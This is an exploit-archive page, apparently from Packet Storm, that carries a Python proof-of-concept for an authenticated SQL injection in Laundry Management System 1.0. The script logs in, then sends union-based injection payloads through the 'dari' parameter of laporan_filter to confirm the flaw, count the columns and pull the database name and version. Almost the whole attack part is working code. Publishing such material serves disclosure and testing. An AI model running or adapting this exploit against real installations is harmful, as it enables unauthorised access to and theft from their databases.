what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Laundry Management System 1.0 SQL Injection

Laundry Management System 1.0 SQL Injection
Posted Jun 29, 2022
Authored by syad

Laundry Management System version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 27776f1f78eba7702b6e6b65d68620efe1f4862d005d9a21432af48089120311

Laundry Management System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Laundry Management System 1.0 - Authenticated SQL Injection
# Date: 29-06-2022
# Exploit Author: syad
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ci_laundry.zip
# Version: 1.0
# Tested on: Windows 10 + XAMPP 3.2.4
# CVE ID : N/A

# Description
# The dari parameter does not perform input validation on the laporan_filter.php file it allow authenticated SQL Injection




import sys
import requests
sess = requests.Session()

proxies = {"https": "https://127.0.0.1:8080", "http": "http://127.0.0.1:8080"}

def login(ip,username,password):
target = "http://%s/ci_laundry/welcome/login" % ip
daftar = {'username':username,'password':password}
masuk = sess.post(target, data=daftar, proxies=proxies)
if "Dashboard" in masuk.text:
print("[$] Success Login :)")
else:
return False


def trigger_sqli(ip):
target = "http://%s/ci_laundry/pengeluaran/laporan_filter" % ip
sql = {"dari":"1'",'sampai':'123'}
test = sess.post(target, data=sql, proxies=proxies)
if "You have an error in your SQL syntax" in test.text:
print("[$] Trigger SQL Injection !!!! :)")
else:
return False


def count_column(ip):
target = "http://%s/ci_laundry/pengeluaran/laporan_filter" % ip
sql = {"dari":"1' ORDER BY 14-- -",'sampai':'123'}
test = sess.post(target, data=sql, proxies=proxies)
if test.status_code == 200:
print("[$] Found 14 Column In Database !!! :)")


def got_database_name(ip):
target = "http://%s/ci_laundry/pengeluaran/laporan_filter" % ip
sql = {"dari":"1' union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14-- -",'sampai':'123'}
test = sess.post(target, data=sql, proxies=proxies)
if "laundry_db" in test.text:
print("[$] Found Database Name is => laundry_db")

def got_version_data(ip):
target = "http://%s/ci_laundry/pengeluaran/laporan_filter" % ip
sql = {"dari":"1' union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14-- -",'sampai':'123'}
test = sess.post(target, data=sql, proxies=proxies)
if "10.4.24-MariaDB" in test.text:
print("[$] Found Version Database is => 10.4.24-MariaDB")



if __name__ == "__main__":
try:
ip = sys.argv[1].strip()
username = sys.argv[2].strip()
password = sys.argv[3].strip()
except IndexError:
print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])
print("[-] Example: %s 192.168.1.x admin admin123" % sys.argv[0])
sys.exit(-1)


login(ip,username,password)
trigger_sqli(ip)
count_column(ip)
got_database_name(ip)
got_version_data(ip)
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close